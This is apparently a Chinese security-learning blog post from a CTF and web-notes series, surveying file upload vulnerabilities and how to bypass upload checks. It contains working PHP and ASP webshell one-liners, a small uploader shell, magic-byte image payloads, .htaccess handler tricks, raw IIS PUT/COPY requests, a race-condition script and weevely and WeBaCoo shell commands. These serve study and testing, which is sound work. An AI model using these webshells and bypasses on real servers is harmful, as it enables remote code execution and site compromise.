Fileupload

Posted by K4ys0n's Blog on December 3, 2020

s— layout: post title: Web笔记(十一)文件上传漏洞 subtitle: 这个系列是整理学习安全的笔记,包括Web和PWN的一些知识。本章是学习文件上传漏洞及一些绕过方法。 date: 2020-12-03 author: K4ys0n header-img: img/post-bg-rwd.jpg catalog: true tags: - CTF - web - 网络安全 - 学习笔记 - 文件上传 —

0x00 文件上传漏洞简介

文件上传漏洞,指的是网站在文件上传的地方,没有对用户上传的文件做各种检验或者过滤不严,导致被攻击者提交修改过的数据绕过检验进行攻击。

文件上传漏洞有一部分原因也是因为中间件(IIS、Apache、Nginx等)的文件解析漏洞导致的。文件解析漏洞主要说的是一些特殊文件被IIS、Apache、Nginx在某种情况下解释成脚本文件格式的漏洞。

0x01 常见的上传检测方式

  • 客户端JavaScript检测(通常为检测文件扩展名)
  • 服务端MIME类型检测(检测Content-Type内容)
  • 服务端目录路径检测(检测跟path参数相关的内容)
  • 服务端文件扩展名检测(检测跟文件extension相关的内容)
  • 服务端文件内容检测(检测内容是否合法或含有恶意代码)

0x02 客户端检测绕过(JavaScript检测)

1. 判断方法

首先判断js本地验证。

通常可以根据验证警告弹框的速度来判断,用Burpsuite抓包,在点击提交的时候,如果还没有抓到包就已经弹框,那就说明是本地JavaScript验证。

2. 绕过方法

  • 使用Burpsuite抓包改名
  • 使用Firebug(浏览器开发者模式)直接删除掉本地验证的js代码
  • 添加js验证的白名单,如将php的格式添加进去

0x03 服务端检测绕过(MIME类型检测)

1. MIME

MIME(Multipurpose Internet Mail Extensiions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。

注:Tomcat的安装目录\conf\web.xml中就定义了大量MIME类型。

类型 后缀 MIME
Microsoft Word文件 .word application/msword
PDF文件 .pdf application/pdf
GIF图形 .gif image/gif
JPEG图形 .jpeg .jpg image/jpeg
au声音文件 .au audio/basic
MIDI音乐文件 .mid .midi audio/midi audio/x-midi
RealAudio音乐文件 .ra .ram audio/x-pn-realaudio
MPEG文件 .mpg .mpeg video/mpeg
AVI文件 .avi video/x-msvideo

2. 绕过方法

直接使用Burpsuite抓包,得到POST上传数据后,将Content-Type: text/plain改成Content-type: image/gif即可绕过。

上传文件http包中会有三个Content-Type,绕过MIME就是要修改第二个Content-Type。

0x04 服务端检测绕过(目录路径检测)

1. 目录路径检测

一般就检测路径是否合法,有些一点都没有防御,例如:

fckeditor php<=2.6.4任意文件上传漏洞当POST下面的url时:

/fckeditor264/filemanager/connectors/php/connector.php?Command=FileUpload&Type=Image&CurrentFolder=test.php%00.gif HTTP/1.0

CurrentFolder这个变量的值会传到ServerMapFolder($resourceType,$folderPath,$sCommand)中的形参$folder里,而$folder在这个函数中并没有做任何检测,就被CombinePaths()了。

2. 绕过方法

  • 加../或多级../来绕过目录没有执行权限的问题,如:上传文件名为../../test.php
  • 00截断

0x05 服务端检测绕过(文件扩展名检测)

1. 黑名单检测

黑名单的安全性比白名单的安全性低很多,攻击手法也比较多,一般有个专门的blacklist文件,里面会包含常见的危险脚本文件,如fckeditor 2.4.3或之前版本的黑名单。

  • 文件名大小写绕过

利用形如Asp,pHp之类的随机大小写的文件名绕过黑名单检测。

  • 文件名双写绕过

代码只对黑名单中的内容进行空替换,由于只替换一次所以造成双写绕过。如:1.pphphp

  • 名单列表绕过

用黑名单里没有的名单进行攻击,比如黑名单里没有asa或cer之类。

  • 点号、空格绕过

Windows系统下,用Burpsuite抓包修改http包里的文件名改成test.asp. 或test.asp_(下划线为空格),绕过验证后,会被windows系统自动去掉后面的点和空格,但要注意Linux/Unix系统没有这个特性。

  • 特殊符号::$DATA绕过

Windows系统下,如果上传的文件名为test.php::$DATA,则会在服务器上生成一个test.php的文件,内容和所上传文件内容相同,并可被解析成php。因为Windows会自动将后缀::$DATA去掉。

简单测试:在Windows系统下新建一个文件名为1.php::$DATA文件,查看效果。但是在Window下新建的文件名中包含特殊符号不能成功新建,所以只能在Linux下新建这种文件 。

  • 00截断绕过

在PHP5.3之后的版本中完全修复了00截断。并且00截断受限于GPC,addslashes函数。

00截断主要是绕过检测扩展名。下面给个asp简单的伪代码

name=getname(http request)     //假如这时候获取到的文件名是test.asp .jpg(asp后面是0x00)
type=gettype(name)            //而在gettype()函数里处理方式是从后往前扫描扩展名,所以判断为jpg
if(type=='jpg'){
...
}

GET型00截断:GET型提交的内容会被自动进行URL解码,注意一定要关闭GPC,否则无法成功。

POST型00截断:在POST请求中,%00不会被自动解码,需要在16进制中进行修改00。小技巧可以先在正常请求包文件名末尾加上空格(%20),这样在hex页面中就可以直接将文件名后面的20修改为00。

路径型00截断:如果上传文件的请求中包含了上传后的存储路径,如upload/那么就可以修改这个位置为upload/1.php%00,然后filename还是保持1.jpg,上传后就会变成upload/1.php%001.jpg,然后%00后面截断,所以文件名就变成1.php。注意POST请求方式要对%00进行右键convert selection->URL->URL decode。

  • .htaccess文件攻击配合名单列表绕过

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

其中.htaccess文件内容:SetHandler application/x-httpd-php是设置当前目录所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当做PHP执行,不符合则报错。

在Apache中如果需要启动.htaccess,必须在http.conf中设置AllowOverride。

DocumentRoot "C:\phpStudy\PHPTutorial\WWW"
<Directory /> 
  Options +Indexes +FollowSymLinks +ExecCGI 
  AllowOverride All  # 就是这里把None修改为All即可 
  Order allow,deny 
  Allow from all 
  Require all granted
</Directory>

如果在Apache中.htaccess可被执行,且可被上传,那就可以尝试在.htaccess中写入:

<FilesMatch "shell.jpg">SetHandler application/x-httpd-php</FilesMatch>

然后再上传shell.jpg的木马,这样shell.jpg就可解析为php文件。

  • 解析漏洞绕过

这类漏洞直接配合上传一个代码注入过的非黑名单文件即可,再利用解析漏洞,会在后面详细说到。

2. 白名单检测

白名单相对来说比黑名单安全一些,但不是绝对的,如00截断可以绕过一些白名单。

  • 00截断绕过

用像test.asp%00.jpg的方式进行截断,属于白名单文件,再利用服务端代码的检测逻辑漏洞进行攻击。同黑名单00截断绕过。

  • 解析漏洞绕过

同黑名单解析漏洞绕过。

  • .htaccess文件攻击

同黑名单.htaccess文件攻击。

0x06 服务端检测绕过(文件内容检测)

如果文件内容检测设置得比较严格,那么上传攻击将变得非常困难,也可以说它是在代码层检测的最后一道关卡,如果它被突破了,就算没有代码层的漏洞,也给后面利用应用层的解析漏洞带来了机会。

1. 检测文件头绕过

主要是检测文件内容开始处的文件幻数,比如图片类型的文件幻数如下:

  • 要绕过jpg文件幻数检测就要在文件开头写上值:FF D8 FF E0 00 10 4A 46 49 46
  • 要绕过gif文件幻数检测就要在文件开头写上值:47 49 46 38 39 61
  • 要绕过png文件幻数检测就要在文件开头写上值:89 50 4E 47

然后在文件幻数后面加上自己的一句话木马代码即可。

2. 文件相关信息检测绕过

图像文件相关信息检测常用的就是getimagesize()函数,只需要把文件头部分伪造好久可以绕过,就是在幻数的基础上还加了一些文件信息,文件结构大致可以如下:

GIF89a
(...一些图片特有的二进制数据...)
<?php phpinfo();?>
(...图片最后剩下的二进制数据...)

3. 文件加载检测

一般是调用API或函数去进行文件加载测试常见的是图像渲染测试,甚至是进行二次渲染。

对渲染、加载测试的攻击方式是代码注入绕过;

对二次渲染的攻击方式是攻击文件加载器本身。

  • 对渲染、加载测试攻击:可以用图像处理软件对一张图片进行代码注入,用winhex看数据可以分析出这类工具的原理是,在不破坏文件本身的渲染情况下,找一个空白区进行填充代码,一般会是图片的注释区,对于渲染测试基本上都能绕过,毕竟本身的文件结构是完整的。
  • 绕过二次渲染:攻击函数本身,通过上传不完整的图片让其渲染函数暴露,然后攻击之。或者对文件加载器进行溢出攻击。

0x07 添加表单提交按钮上传

有些表单没有提交按钮,那么可以在Firebug或者浏览器开发者工具中,在HTML中添加一个submit按钮,代码如下,用来提交,但前提是后台接收表单上传并保存文件。

<input type="submit" value="提交" name='bb'>

然后就可以上传文件了。

0x08 双文件上传

用Burpsuite拦截,将请求体中,被WebKitFormBoundary…包围起来的部分复制,然后在Submit之前再粘贴一份,修改文件名等信息,然后发送即可,第二次发送的可能可以绕过一些检查。

0x09 突破文件大小限制

上传小Webshell,再上传大Webshell上传小Webshell,以绕过上传过程中对文件大小等限制,从而能够更加有效上传大Webshell。小Webshell:

<html>
<head>
<title>PHP小马 - ExpDoor.com</title>
</head>
<body>
<form action="" method="post" enctype="multipart/form-data">
<label for="file">filename:</label>
<input type="file" name="file" id="file">
<br/>
<input type="submit" name="submit" value="Submit">
</form>
</body>
</html>
<?php
if ($_POST){
move_uploaded_file($_FILES["file"]["tmp_name"], "../upload/1.php");
echo "Store in : "."1.php";
}
?>

0x0a 文件解析漏洞

解析漏洞主要说的是一些特殊文件被IIS、Apache、Nginx在某种情况下解释成脚本文件格式的漏洞。

1. IIS 5.x/6.0解析漏洞

  • 目录解析(/xx.asp/xx.jpg)

在网站下建立文件夹的名字为.asp或.asa的文件夹,其目录内的任何扩展名的文件都会被IIS当做asp文件来解析并执行。

例如:创建目录test.asp,上传1.jpg到/test.asp目录下(即上传文件名为/test.asp/1.jpg 的文件),那么上传的文件将会保存在/test.asp目录下并命名为1.jpg,它可以被当做asp文件来执行。假如攻击者可以控制上传文件夹路径,就可以不管上传后的图片改不改名,都能拿shell了。

  • 文件解析(xx.asp;.jpg)

在IIS6.0下,分号后面的不被解析,也就是说test.asp;.jpg会被服务器看成是asp文件来执行。

  • 特殊文件后缀(.asa、.cer、.cdx)

在IIS6.0下默认可执行:

/test.asp

/test.asa

/test.cer

/test.cdx

修复建议:目前尚无微软官方的补丁,可以通过自己编写正则,阻止上传xx.asp;.jpg类型的文件名;做好权限设置,限制用户创建文件夹。

2. IIS 6.0 PUT上传漏洞

WebDAV 基于HTTP1.1协议的通信协议使得HTTP支持PUT MOVE COPY DELETE 方法。

  • 探测是否存在IIS PUT漏洞
    OPTIONS / HTTP1.1
    Host: www.xxx.com
    
  • 上传txt文本文件 ``` PUT /a.txt HTTP1.1 Host: www.xxx.com Content-Length:30

<%eval request(“cmd”)%>


- 通过Move或Copy重名

COPY /a.txt HTTP1.1 Host: www.xxx.com Destination: http://www.xxx.com/cmd.asp


- 删除

DELETE /a.txt HTTP1.1 Host: www.xxx.com


或者利用kali下的nikto工具探测

- nikto -h IP地址

#### 3. Apache解析漏洞

Apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断。

比如test.php.owf.rar,其中.owf和.rar是Apache不可识别解析,Apache就会将test.php.owf.rar解析成php。

如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个test.php.rar.jpg.png.......(把知道的常见后缀都写上)去测试是否是合法后缀。任意不识别的后缀,逐级向上识别。

测试用例如:

test.php.

test.php.zzz

test.php.rar.jpg.png

......

#### 4. IIS 7.0、7.5,Nginx < 8.03等与php低版本 畸形解析漏洞

php低版本可能为5.6.3及以下。

可以用test.jpg/.php 去测试一下。

- 第一种解析漏洞

在默认Fast-CGI开启状况下,攻击者上传一个名字为test.jpg,文件内容为
```php
<?php fputs(fopen('shell.php', 'w'), '<?php eval($_POST[cmd])?>');?>

然后访问test.jpg/.php ,在这个目录下就会生成一句话木马shell.php。

再如:/test.gif/*.php 触发漏洞,会把前面上传的文件test.gif当做php执行。

  • 第二种解析漏洞

a.aspx.a;.a.aspx.jpg..jpg

5. Nginx <8.03 空字节代码执行漏洞(00截断)

影响版本:0.5、0.6、0.7<=0.7.65、0.8<=0.8.37。

Nginx在图片中嵌入PHP代码,然后通过访问xxx.jpg%00.php来执行代码

0x0b unlink与竞争条件漏洞

1. 服务器接收文件上传的过程

  • 服务器获取文件

  • 保存上传临时文件
  • 重命名移动临时文件(php使用move_uploaded_file函数)。

2. 竞争条件原理

网站逻辑有两种:

  • 网站允许上传任意文件,然后检查上传文件是否包含Webshell,如果包含删除该文件。
  • 网站允许上传任意文件,但是如果不是指定类型,那么使用unlink删除文件。在删除之前访问上传的php文件,从而执行上传文件中的php代码。

竞争条件漏洞存在于网站逻辑,如果先进行上传,后进行判断与删除,那么就可以利用时间差进行webshell上传。

3. 漏洞利用

首先不断访问代码文件,然后上传,最终使用菜刀连接一句话webshell。

  • python编写脚本,发送http请求(可多线程加速)
    import requests
    while True:  
      requests.get("路径")
    
  • 然后执行python脚本,接着才上传文件。上传文件代码如下
    <?php
      fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');
    ?>
    
  • 菜刀连接访问shell.php,密码是cmd。

0x0c 文件上传思路

  • 修改前端JS
  • 修改MIME
  • 爆破后缀名(黑名单)
  • .htaccess(修改当前目录为php解析,前提是AllowOverride)+任意文件(一般用图片文件绕过)
  • 大小写绕过
  • 点号或空格绕过
  • 文件名双写绕过
  • 特殊符号::$DATA绕过
  • 突破文件大小限制(先上传小Webshell,再上传大Webshell)
  • 00截断绕过白名单
  • 图片Webshell(结合文件包含)
  • 竞争条件(用到php函数unlink时考虑,可以结合python多线程)
  • IIS 5.x/6.0目录解析漏洞(/xx.asp/xx.jpg)
  • IIS 6.0 文件名解析漏洞(xx.asp;.jpg)
  • IIS 6.0 特殊文件后缀绕过(.asa、.cer、.cdx)
  • IIS 6.0 PUT上传漏洞(-nikto -h IP地址)
  • Apache解析漏洞(1.php.xxxx)
  • IIS 7.0、7.5,Nginx < 8.03等与php低版本 畸形解析漏洞(xx.jpg/.php)
  • Nginx < 8.03 空字节代码执行漏洞(00截断:xx.jpg%00.php)

0x0d 生成webshell

Kali下生成webshell

1. WeBaCoo工具

WeBaCoo生成Webshell:

webacoo -g -o [webshell名]
如:
webacoo -g -o a.php

上传Webshell后连接Webshell:

webacoo -t -u [Webshell地址]
如:
webacoo -t -u http://127.0.0.1/a.php

2. weevely工具

生成Webshell:

weevely generate [密码] [路径] [文件名]
如:
weevely generate cmd ./ a.php

上传后连接Webshell:

weevely [shell文件地址] [密码]
如:
weevely http://127.0.0.1/a.php cmd